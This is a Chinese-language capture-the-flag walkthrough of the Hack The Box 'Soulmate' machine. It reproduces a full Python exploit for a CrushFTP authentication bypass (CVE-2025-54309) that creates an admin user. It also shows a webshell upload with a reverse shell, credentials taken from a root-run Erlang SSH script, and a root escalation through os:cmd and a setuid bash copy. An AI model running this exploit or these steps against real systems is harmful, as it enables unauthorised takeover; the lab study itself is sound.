端口扫描

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/HTB/soulmate]
└─$ sudo nmap -p- --min-rate 10000 10.10.11.86
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for soulmate.htb (10.10.11.86)
Host is up (7.9s latency).
Not shown: 59773 filtered tcp ports (no-response), 5760 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 33.07 seconds

web 渗透

看到开了 80 端口,上去看看是什么:

image1

看上去是个交友网站,可以注册和登录,但是登录上去之后也没有东西,只有一个上传头像的地方,可以上传图片,无法上传 php ,上传带有 php 代码的图片也无法执行,但这些都是渗透测试过程中需要尝试的点。

执行目录扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/HTB/soulmate]
└─$ dirsearch -u 'http://soulmate.htb'
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/HTB/soulmate/reports/http_soulmate.htb/_25-11-07_10-59-04.txt

Target: http://soulmate.htb/

[10:59:04] Starting:
[10:59:30] 403 - 564B - /assets/
[10:59:30] 301 - 178B - /assets -> http://soulmate.htb/assets/
[10:59:37] 302 - 0B - /dashboard.php -> /login
[10:59:49] 200 - 8KB - /login.php
[10:59:50] 302 - 0B - /logout.php -> login.php
[11:00:01] 302 - 0B - /profile.php -> /login
[11:00:02] 200 - 11KB - /register.php

Task Completed

看上去没啥有用的东西,扫描一下子域名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/HTB/soulmate]
└─$ sudo gobuster vhost -u http://soulmate.htb -w /usr/share/wordlists/fuzzDicts/subdomainDicts/main.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://soulmate.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/fuzzDicts/subdomainDicts/main.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: ftp.soulmate.htb Status: 302 [Size: 0] [--> /WebInterface/login.html]

有个 ftp.soulmate.htb ,看上去有东西,上去看看:

image2

主页面写的是 CrushFTP ,可以尝试弱口令、搜索默认密码尝试登录,都没有成功。

网上搜搜 CrushFTP 有没有漏洞可以利用:

image3

看到了一个 CVE-2025-54309 比较新,说不定可以利用。

github 上找到了一个该漏洞的 exp 脚本,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
#!/usr/bin/env python3
"""
CrushFTP CVE-2025-54309 Authentication Bypass Exploit - User Creation
Based on working Watchtowr POC pattern
FOR AUTHORIZED PENETRATION TESTING ONLY - HTB Labs Use
"""

import requests
import threading
import time
import random
import string
import sys
import argparse

banner = """
╔═══════════════════════════════════════════════════════════╗
║ CrushFTP CVE-2025-54309 Exploit ║
║ Race Condition Authentication Bypass ║
║ User Creation Version ║
║ ║
║ FOR AUTHORIZED TESTING ONLY ║
║ HTB Labs & Pentesting Use ║
╚═══════════════════════════════════════════════════════════╝
"""

class CrushFTPUserCreator:
def __init__(self, target_url, username, password):
self.target_url = target_url.rstrip('/')
self.username = username
self.password = password
self.c2f_value = None
self.crush_auth_cookie = None
self.success = False

# Disable SSL warnings
requests.packages.urllib3.disable_warnings()

def generate_random_c2f(self):
"""Generate random 4-character c2f value like the working POC"""
return ''.join(random.choices(string.ascii_letters + string.digits, k=4))

def update_c2f_and_cookies(self):
"""Generate new c2f value and update cookies - exactly like working POC"""
self.c2f_value = self.generate_random_c2f()
# Use the same cookie format as working POC
timestamp = int(time.time() * 1000)
random_suffix = ''.join(random.choices(string.ascii_letters + string.digits, k=24))
self.crush_auth_cookie = f"CrushAuth={timestamp}_{random_suffix}{self.c2f_value}; currentAuth={self.c2f_value}"
print(f"[*] Generated new c2f value: {self.c2f_value}")

def make_request_with_as2(self):
"""Make request with AS2-TO header - following working POC pattern"""
url = f"{self.target_url}/WebInterface/function/"

headers = {
"Host": self.target_url.replace("http://", "").replace("https://", ""),
"User-Agent": "python-requests/2.32.3",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "keep-alive",
"AS2-TO": "\\crushadmin", # Exactly like working POC
"Content-Type": "disposition-notification",
"X-Requested-With": "XMLHttpRequest",
"Cookie": self.crush_auth_cookie
}

# XML payload for creating admin user
user_xml = f'''<?xml version="1.0" encoding="UTF-8"?><user type="properties">
<max_logins_ip>8</max_logins_ip>
<real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user>
<root_dir>/</root_dir>
<user_name>{self.username}</user_name>
<version>1.0</version>
<max_logins>0</max_logins>
<last_logins>{time.strftime('%m/%d/%Y %I:%M:%S %p')}</last_logins>
<password>{self.password}</password>
<site>(CONNECT)(WEB_ADMIN)</site>
<ignore_max_logins>true</ignore_max_logins>
<max_idle_time>0</max_idle_time>
<username>{self.username}</username>
</user>'''

vfs_xml = '''<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>'''
permissions_xml = '''<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)(admin)</item></VFS>'''

data = {
"command": "setUserItem",
"data_action": "new",
"serverGroup": "MainUsers",
"username": self.username,
"user": user_xml,
"xmlItem": "user",
"vfs_items": vfs_xml,
"permissions": permissions_xml,
"c2f": self.c2f_value
}

try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
return f"AS2 Request - Status: {response.status_code}", response.text
except Exception as e:
return f"AS2 Request - Error: {str(e)}", ""

def make_request_without_as2(self):
"""Make request without AS2-TO header - following working POC pattern"""
url = f"{self.target_url}/WebInterface/function/"

headers = {
"Host": self.target_url.replace("http://", "").replace("https://", ""),
"User-Agent": "python-requests/2.32.3",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "keep-alive",
"X-Requested-With": "XMLHttpRequest",
"Cookie": self.crush_auth_cookie
}

# Same payload as AS2 request
user_xml = f'''<?xml version="1.0" encoding="UTF-8"?><user type="properties">
<max_logins_ip>8</max_logins_ip>
<real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user>
<root_dir>/</root_dir>
<user_name>{self.username}</user_name>
<version>1.0</version>
<max_logins>0</max_logins>
<last_logins>{time.strftime('%m/%d/%Y %I:%M:%S %p')}</last_logins>
<password>{self.password}</password>
<site>(CONNECT)(WEB_ADMIN)</site>
<ignore_max_logins>true</ignore_max_logins>
<max_idle_time>0</max_idle_time>
<username>{self.username}</username>
</user>'''

vfs_xml = '''<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>'''
permissions_xml = '''<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)(admin)</item></VFS>'''

data = {
"command": "setUserItem",
"data_action": "new",
"serverGroup": "MainUsers",
"username": self.username,
"user": user_xml,
"xmlItem": "user",
"vfs_items": vfs_xml,
"permissions": permissions_xml,
"c2f": self.c2f_value
}

try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
return f"Regular Request - Status: {response.status_code}", response.text
except Exception as e:
return f"Regular Request - Error: {str(e)}", ""

def check_success_response(self, response_text):
"""Check if user creation was successful"""
if "response_status>OK" in response_text:
print(f"[+] SUCCESS! User '{self.username}' created successfully!")
print(f"[+] Response indicates user creation was successful")
self.success = True
return True
return False

def race_requests_for_user_creation(self, num_requests=5000):
"""Race multiple requests for user creation - following working POC pattern"""
print(f"[*] Starting race with {num_requests} request pairs...")
print("=" * 60)

for i in range(num_requests):
# Generate new c2f every 50 requests - exactly like working POC
if i % 50 == 0:
self.update_c2f_and_cookies()
print(f"[*] NEW SESSION: c2f={self.c2f_value}")

# Store results
results = {'as2': None, 'regular': None}

def as2_worker():
results['as2'] = self.make_request_with_as2()

def regular_worker():
results['regular'] = self.make_request_without_as2()

# Create and start threads - exactly like working POC
t1 = threading.Thread(target=as2_worker)
t2 = threading.Thread(target=regular_worker)

# Start both threads simultaneously
t1.start()
t2.start()

# Wait for both to complete
t1.join()
t2.join()

# Check for success in both responses
as2_status, as2_response = results['as2']
regular_status, regular_response = results['regular']

# Check if either response indicates success
if self.check_success_response(as2_response) or self.check_success_response(regular_response):
print("[+] USER CREATION SUCCESSFUL!")
return True

# Print progress every 50 requests
if (i + 1) % 50 == 0:
print(f"[*] PROGRESS: {i + 1}/{num_requests} request pairs completed...")

return False

def verify_user_creation(self):
"""Verify user was created by attempting to get user list"""
print(f"[*] Verifying user creation...")

# Use the detection method from working POC to verify our user exists
url = f"{self.target_url}/WebInterface/function/"

headers = {
"Host": self.target_url.replace("http://", "").replace("https://", ""),
"User-Agent": "python-requests/2.32.3",
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "keep-alive",
"AS2-TO": "\\crushadmin",
"Content-Type": "disposition-notification",
"X-Requested-With": "XMLHttpRequest",
"Cookie": self.crush_auth_cookie
}

data = {
"command": "getUserList",
"serverGroup": "MainUsers",
"c2f": self.c2f_value
}

try:
response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
if f"<user_list_subitem>{self.username}</user_list_subitem>" in response.text:
print(f"[+] VERIFICATION SUCCESS: User '{self.username}' found in user list!")
return True
else:
print(f"[-] VERIFICATION FAILED: User '{self.username}' not found in user list")
return False
except Exception as e:
print(f"[-] Verification error: {e}")
return False

def exploit(self, num_requests=5000):
"""Main exploit function"""
print("[*] CRUSHFTP USER CREATION EXPLOIT")
print(f"[*] TARGET: {self.target_url}")
print(f"[*] CREATING USER: {self.username}:{self.password}")
print(f"[*] ATTACK: {num_requests} requests with new c2f every 50 requests")
print("=" * 60)

# Initialize first session
self.update_c2f_and_cookies()

# Try to create user
if self.race_requests_for_user_creation(num_requests):
return True

print("[-] USER CREATION FAILED: Target may be patched or timing window missed")
return False

def main():
print(banner)

parser = argparse.ArgumentParser(description='CrushFTP CVE-2025-54309 User Creation Exploit')
parser.add_argument('target', help='Target CrushFTP URL (e.g., http://ftp.soulmate.htb)')
parser.add_argument('-u', '--username', default='htbadmin', help='Username for new admin user (default: htbadmin)')
parser.add_argument('-p', '--password', default='HTBPassword123!', help='Password for new admin user (default: HTBPassword123!)')
parser.add_argument('-r', '--requests', type=int, default=5000, help='Number of request pairs (default: 5000)')
parser.add_argument('--verify', action='store_true', help='Verify user creation by checking user list')

if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)

args = parser.parse_args()

# Validate target URL
if not args.target.startswith(('http://', 'https://')):
print("[-] Error: Target URL must start with http:// or https://")
sys.exit(1)

print(f"[*] Target: {args.target}")
print(f"[*] New admin user: {args.username}:{args.password}")

# Create exploit instance
exploit = CrushFTPUserCreator(args.target, args.username, args.password)

# Run the exploit
success = exploit.exploit(args.requests)

# Optionally verify user creation
if success and args.verify:
exploit.verify_user_creation()

if success:
print(f"\n[+] EXPLOITATION COMPLETE!")
print(f"[+] Admin user created: {args.username}:{args.password}")
print(f"[+] Try logging in at: {args.target}/WebInterface/")
print(f"[+] Or access the admin interface directly")
sys.exit(0)
else:
print(f"\n[-] EXPLOITATION FAILED!")
print(f"[-] Target may be patched or race condition timing missed")
print(f"[-] Try running again or increase request count with -r")
sys.exit(1)

if __name__ == "__main__":
main()

这个脚本可以创建 CrushFTP 的一个 admin 用户。

运行它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿kali)-[~/HTB/soulmate]
└─$ python3 exp.py http://ftp.soulmate.htb

╔═══════════════════════════════════════════════════════════╗
║ CrushFTP CVE-2025-54309 Exploit ║
║ Race Condition Authentication Bypass ║
║ User Creation Version ║
║ ║
║ FOR AUTHORIZED TESTING ONLY ║
║ HTB Labs & Pentesting Use ║
╚═══════════════════════════════════════════════════════════╝

[*] Target: http://ftp.soulmate.htb
[*] New admin user: htbadmin:HTBPassword123!
[*] CRUSHFTP USER CREATION EXPLOIT
[*] TARGET: http://ftp.soulmate.htb
[*] CREATING USER: htbadmin:HTBPassword123!
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
[*] Generated new c2f value: donB
[*] Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: PKud
[*] NEW SESSION: c2f=PKud
[+] SUCCESS! User 'htbadmin' created successfully!
[+] Response indicates user creation was successful
[+] USER CREATION SUCCESSFUL!

[+] EXPLOITATION COMPLETE!
[+] Admin user created: htbadmin:HTBPassword123!
[+] Try logging in at: http://ftp.soulmate.htb/WebInterface/
[+] Or access the admin interface directly

它说已经为我们创建了一个用户,凭证为 htbadmin:HTBPassword123! ,尝试用这个用户登录刚才的页面:

image4

已经登录进来了。

在里面探索了一圈,发现有个 用户管理 的功能,其中有个叫 ben 的用户,他的文件目录比较眼熟,看上去是 80 端口的根目录:

image5

所以,ben 这个用户有可能是网站管理员之类的,如果我们能拿到他的一些权限,说不定就能对网站搞点事情。

刚好,我们可以给 ben 这个用户修改密码:

image6

修改密码之后,我们可以登录到 ben 这个用户的账号:

image7

在网页的根目录文件里面,发现了一个 Add files 的选项,应该是可以添加文件,说不定添加之后,就可以在 80 端口上访问到这个文件。因此,我们可以在这里尝试上传 webshell:

image8

image9

获取立足点

然后在 soulmate.htb 网页里面访问到了 shell.php,并且成功反弹 shell:

1
2
┌──(kali㉿kali)-[~/HTB/soulmate]
└─$ curl "http://soulmate.htb/shell.php"
1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.86 34494
Linux soulmate 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

提权

进行 ps -aux ,发现了 root 用户运行了一个奇怪的进程:

1
2
3
$ ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1063 0.0 1.7 2252172 68268 ? Ssl Nov07 0:09 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript

同时我们对这个文件有读权限:

1
2
$ ls -liah /usr/local/lib/erlang_login/start.escript
397003 -rwxr-xr-x 1 root root 1.4K Aug 15 07:46 /usr/local/lib/erlang_login/start.escript

看看内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
application:start(asn1),
application:start(crypto),
application:start(public_key),
application:start(ssh),

io:format("Starting SSH daemon with logging...~n"),

case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},

{user_dir_fun, fun(User) ->
Dir = filename:join("/home", User),
io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
filename:join(Dir, ".ssh")
end},

{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},

{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},

{auth_methods, "publickey,password"},

{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
{ok, _Pid} ->
io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end,

receive
stop -> ok
end.

可以看到里面有个用户凭证: ben:HouseH0ldings998 ,同时文件的内容写着 ssh 2222 的字样,推测靶机的 2222 端口可能开了一个特殊的 ssh 服务,查看端口开放情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ss -tuln
Netid State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:4369 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8443 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:2222 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9090 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8080 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:36569 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:36579 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 [::1]:4369 [::]:*
tcp LISTEN 0 511 [::]:80 [::]:*
tcp LISTEN 0 128 [::]:22 [::]:*
$

看到了 2222 端口开放。

刚才的 ben 用户就是靶机内的一个用户,尝试直接用 22 端口的 ssh 登录:

1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ ssh ben@soulmate.htb
ben@soulmate.htb's password:
ben@soulmate:~$ whoami
ben
ben@soulmate:~$

登录成功,拿到 user flag

1
2
ben@soulmate:~$ cat user.txt
5769454605c801af237a0d75f02e2541

回到刚才的 /usr/local/lib/erlang_login/start.escript 文件,把它的内容扔给了 GPT ,GPT 说这是一个 Erlang 脚本 ,是在 2222 端口启动了一个 ssh 服务。

既然是个 ssh,那就可以在本地用 ssh 来登录,而且用户凭证就是 ben 用户的凭证,那就尝试登录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
ben@soulmate:~$ ssh ben@127.0.0.1 -p 2222
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[127.0.0.1]:2222' (ED25519) to the list of known hosts.
ben@127.0.0.1's password:
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1> help().
(ssh_runner@soulmate)1> help().

** shell internal commands **
b() -- display all variable bindings
e(N) -- repeat the expression in query <N>
f() -- forget all variable bindings
f(X) -- forget the binding of variable X
h() -- history
h(Mod) -- help about module
h(Mod,Func)-- help about function in module
h(Mod,Func,Arity) -- help about function with arity in module
ht(Mod) -- help about a module's types
ht(Mod,Type) -- help about type in module
ht(Mod,Type,Arity) -- help about type with arity in module
hcb(Mod) -- help about a module's callbacks
hcb(Mod,CB) -- help about callback in module
hcb(Mod,CB,Arity) -- help about callback with arity in module
history(N) -- set how many previous commands to keep
results(N) -- set how many previous command results to keep
catch_exception(B) -- how exceptions are handled
v(N) -- use the value of query <N>
rd(R,D) -- define a record
rf() -- remove all record information
rf(R) -- remove record information about R
rl() -- display all record information
rl(R) -- display record information about R
rp(Term) -- display Term using the shell's record information
rr(File) -- read record information from File (wildcards allowed)
rr(F,R) -- read selected record information from file(s)
rr(F,R,O) -- read selected record information with options
lf() -- list locally defined functions
lt() -- list locally defined types
lr() -- list locally defined records
ff() -- forget all locally defined functions
ff({F,A}) -- forget locally defined function named as atom F and arity A
tf() -- forget all locally defined types
tf(T) -- forget locally defined type named as atom T
fl() -- forget all locally defined functions, types and records
save_module(FilePath) -- save all locally defined functions, types and records to a file
bt(Pid) -- stack backtrace for a process
c(Mod) -- compile and load module or file <Mod>
cd(Dir) -- change working directory
flush() -- flush any messages sent to the shell
help() -- help info
h(M) -- module documentation
h(M,F) -- module function documentation
h(M,F,A) -- module function arity documentation
i() -- information about the system
ni() -- information about the networked system
i(X,Y,Z) -- information about pid <X,Y,Z>
l(Module) -- load or reload module
lm() -- load all modified modules
lc([File]) -- compile a list of Erlang modules
ls() -- list files in the current directory
ls(Dir) -- list files in directory <Dir>
m() -- which modules are loaded
m(Mod) -- information about module <Mod>
mm() -- list all modified modules
memory() -- memory allocation information
memory(T) -- memory allocation information of type <T>
nc(File) -- compile and load code in <File> on all nodes
nl(Module) -- load module on all nodes
pid(X,Y,Z) -- convert X,Y,Z to a Pid
pwd() -- print working directory
q() -- quit - shorthand for init:stop()
regs() -- information about registered processes
nregs() -- information about all registered processes
uptime() -- print node uptime
xm(M) -- cross reference check a module
y(File) -- generate a Yecc parser
** commands in module i (interpreter interface) **
ih() -- print help for the i module
true
(ssh_runner@soulmate)2>

可以看到登录成功了,并且进入到了一个叫 Eshell 的终端。

由于不太熟悉这个终端,我把它扔给了 GPT ,并且询问了可以怎么进行渗透测试。GPT 给了我一些在 Eshell 中的语法,例如可以尝试进行命令执行,尝试一下:

1
2
(ssh_runner@soulmate)2> os:cmd("whoami").
"root\n"

它返回了 root ,说明我们成功执行了命令,而且我们的这个 shell 环境是 root 用户的。

同时也可以直接读取文件:

1
2
(ssh_runner@soulmate)3> file:read_file("/root/root.txt").
{ok,<<"fd192fbd8d7f6ca29ca6bad7703a4db8\n">>}

拿到了 root flag

当然也可以进行我最喜欢的 bash -p 提权:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(ssh_runner@soulmate)2> os:cmd("whoami").
"root\n"
(ssh_runner@soulmate)3> file:read_file("/root/root.txt").
{ok,<<"fd192fbd8d7f6ca29ca6bad7703a4db8\n">>}
(ssh_runner@soulmate)4> os:cmd("cp /bin/bash /tmp/bash;chmod +s /tmp/bash").
[]
(ssh_runner@soulmate)6> exit().
Connection to 127.0.0.1 closed.
ben@soulmate:~$ ls /tmp
bash systemd-private-6c44bb854cf84a8698af4f72dfbf8050-systemd-resolved.service-JnhxMz
systemd-private-6c44bb854cf84a8698af4f72dfbf8050-ModemManager.service-Hi3nOj systemd-private-6c44bb854cf84a8698af4f72dfbf8050-systemd-timesyncd.service-m5ehVX
systemd-private-6c44bb854cf84a8698af4f72dfbf8050-systemd-logind.service-jLgsv3 vmware-root_610-2731152165
ben@soulmate:~$ /tmp/bash -p
bash-5.1# whoami
root
bash-5.1#